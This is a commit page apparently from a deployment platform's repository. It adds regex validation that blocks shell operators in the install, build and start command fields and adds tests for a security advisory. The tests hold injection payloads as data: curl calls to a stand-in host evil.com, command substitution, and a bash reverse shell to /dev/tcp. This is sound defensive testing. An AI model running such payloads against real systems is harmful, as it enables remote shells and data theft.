Skip to content

Commit 96ae9ad

Browse files
authored
fix: add input validation for install/build/start command fields (#9227)
2 parents 72118d6 + c9922c3 commit 96ae9ad

3 files changed

Lines changed: 191 additions & 6 deletions

File tree

app/Livewire/Project/Application/General.php

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -146,9 +146,9 @@ protected function rules(): array
146146
'gitRepository' => 'required',
147147
'gitBranch' => 'required',
148148
'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
149-
'installCommand' => 'nullable',
150-
'buildCommand' => 'nullable',
151-
'startCommand' => 'nullable',
149+
'installCommand' => ValidationPatterns::shellSafeCommandRules(),
150+
'buildCommand' => ValidationPatterns::shellSafeCommandRules(),
151+
'startCommand' => ValidationPatterns::shellSafeCommandRules(),
152152
'buildPack' => 'required',
153153
'staticImage' => 'required',
154154
'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)),
@@ -200,6 +200,9 @@ protected function messages(): array
200200
'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
201201
'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
202202
'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
203+
'installCommand.regex' => 'The install command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
204+
'buildCommand.regex' => 'The build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
205+
'startCommand.regex' => 'The start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
203206
'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
204207
'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
205208
'name.required' => 'The Name field is required.',

bootstrap/helpers/api.php

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -95,9 +95,9 @@ function sharedDataApplications()
9595
'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
9696
'docker_registry_image_name' => 'string|nullable',
9797
'docker_registry_image_tag' => 'string|nullable',
98-
'install_command' => 'string|nullable',
99-
'build_command' => 'string|nullable',
100-
'start_command' => 'string|nullable',
98+
'install_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
99+
'build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
100+
'start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
101101
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/',
102102
'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable',
103103
'custom_network_aliases' => 'string|nullable',

tests/Feature/CommandInjectionSecurityTest.php

Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -672,3 +672,185 @@
672672
expect($middleware)->toContain('api.ability:deploy');
673673
});
674674
});
675+
676+
describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () {
677+
test('rejects semicolon injection in install_command', function () {
678+
$rules = sharedDataApplications();
679+
680+
$validator = validator(
681+
['install_command' => 'npm install; curl evil.com'],
682+
['install_command' => $rules['install_command']]
683+
);
684+
685+
expect($validator->fails())->toBeTrue();
686+
});
687+
688+
test('rejects pipe injection in build_command', function () {
689+
$rules = sharedDataApplications();
690+
691+
$validator = validator(
692+
['build_command' => 'npm run build | curl evil.com'],
693+
['build_command' => $rules['build_command']]
694+
);
695+
696+
expect($validator->fails())->toBeTrue();
697+
});
698+
699+
test('rejects command substitution in start_command', function () {
700+
$rules = sharedDataApplications();
701+
702+
$validator = validator(
703+
['start_command' => 'npm start $(whoami)'],
704+
['start_command' => $rules['start_command']]
705+
);
706+
707+
expect($validator->fails())->toBeTrue();
708+
});
709+
710+
test('rejects backtick injection in install_command', function () {
711+
$rules = sharedDataApplications();
712+
713+
$validator = validator(
714+
['install_command' => 'npm install `whoami`'],
715+
['install_command' => $rules['install_command']]
716+
);
717+
718+
expect($validator->fails())->toBeTrue();
719+
});
720+
721+
test('rejects dollar sign in build_command', function () {
722+
$rules = sharedDataApplications();
723+
724+
$validator = validator(
725+
['build_command' => 'npm run build $HOME'],
726+
['build_command' => $rules['build_command']]
727+
);
728+
729+
expect($validator->fails())->toBeTrue();
730+
});
731+
732+
test('rejects reverse shell payload in install_command', function () {
733+
$rules = sharedDataApplications();
734+
735+
$validator = validator(
736+
['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'],
737+
['install_command' => $rules['install_command']]
738+
);
739+
740+
expect($validator->fails())->toBeTrue();
741+
});
742+
743+
test('rejects newline injection in start_command', function () {
744+
$rules = sharedDataApplications();
745+
746+
$validator = validator(
747+
['start_command' => "npm start\ncurl evil.com"],
748+
['start_command' => $rules['start_command']]
749+
);
750+
751+
expect($validator->fails())->toBeTrue();
752+
});
753+
754+
test('allows valid install commands', function ($cmd) {
755+
$rules = sharedDataApplications();
756+
757+
$validator = validator(
758+
['install_command' => $cmd],
759+
['install_command' => $rules['install_command']]
760+
);
761+
762+
expect($validator->fails())->toBeFalse();
763+
})->with([
764+
'npm install',
765+
'yarn install --frozen-lockfile',
766+
'pip install -r requirements.txt',
767+
'bun install',
768+
'pnpm install --no-frozen-lockfile',
769+
]);
770+
771+
test('allows valid build commands', function ($cmd) {
772+
$rules = sharedDataApplications();
773+
774+
$validator = validator(
775+
['build_command' => $cmd],
776+
['build_command' => $rules['build_command']]
777+
);
778+
779+
expect($validator->fails())->toBeFalse();
780+
})->with([
781+
'npm run build',
782+
'cargo build --release',
783+
'go build -o main .',
784+
'yarn build && yarn postbuild',
785+
'make build',
786+
]);
787+
788+
test('allows valid start commands', function ($cmd) {
789+
$rules = sharedDataApplications();
790+
791+
$validator = validator(
792+
['start_command' => $cmd],
793+
['start_command' => $rules['start_command']]
794+
);
795+
796+
expect($validator->fails())->toBeFalse();
797+
})->with([
798+
'npm start',
799+
'node server.js',
800+
'python main.py',
801+
'java -jar app.jar',
802+
'./start.sh',
803+
]);
804+
805+
test('allows null values for command fields', function ($field) {
806+
$rules = sharedDataApplications();
807+
808+
$validator = validator(
809+
[$field => null],
810+
[$field => $rules[$field]]
811+
);
812+
813+
expect($validator->fails())->toBeFalse();
814+
})->with(['install_command', 'build_command', 'start_command']);
815+
});
816+
817+
describe('install/build/start command rules survive array_merge in controller', function () {
818+
test('install_command safe regex is not overridden by local rules', function () {
819+
$sharedRules = sharedDataApplications();
820+
821+
$localRules = [
822+
'name' => 'string|max:255',
823+
'docker_compose_domains' => 'array|nullable',
824+
];
825+
$merged = array_merge($sharedRules, $localRules);
826+
827+
expect($merged['install_command'])->toBeArray();
828+
expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
829+
});
830+
831+
test('build_command safe regex is not overridden by local rules', function () {
832+
$sharedRules = sharedDataApplications();
833+
834+
$localRules = [
835+
'name' => 'string|max:255',
836+
'docker_compose_domains' => 'array|nullable',
837+
];
838+
$merged = array_merge($sharedRules, $localRules);
839+
840+
expect($merged['build_command'])->toBeArray();
841+
expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
842+
});
843+
844+
test('start_command safe regex is not overridden by local rules', function () {
845+
$sharedRules = sharedDataApplications();
846+
847+
$localRules = [
848+
'name' => 'string|max:255',
849+
'docker_compose_domains' => 'array|nullable',
850+
];
851+
$merged = array_merge($sharedRules, $localRules);
852+
853+
expect($merged['start_command'])->toBeArray();
854+
expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
855+
});
856+
});

0 commit comments

Comments
 (0)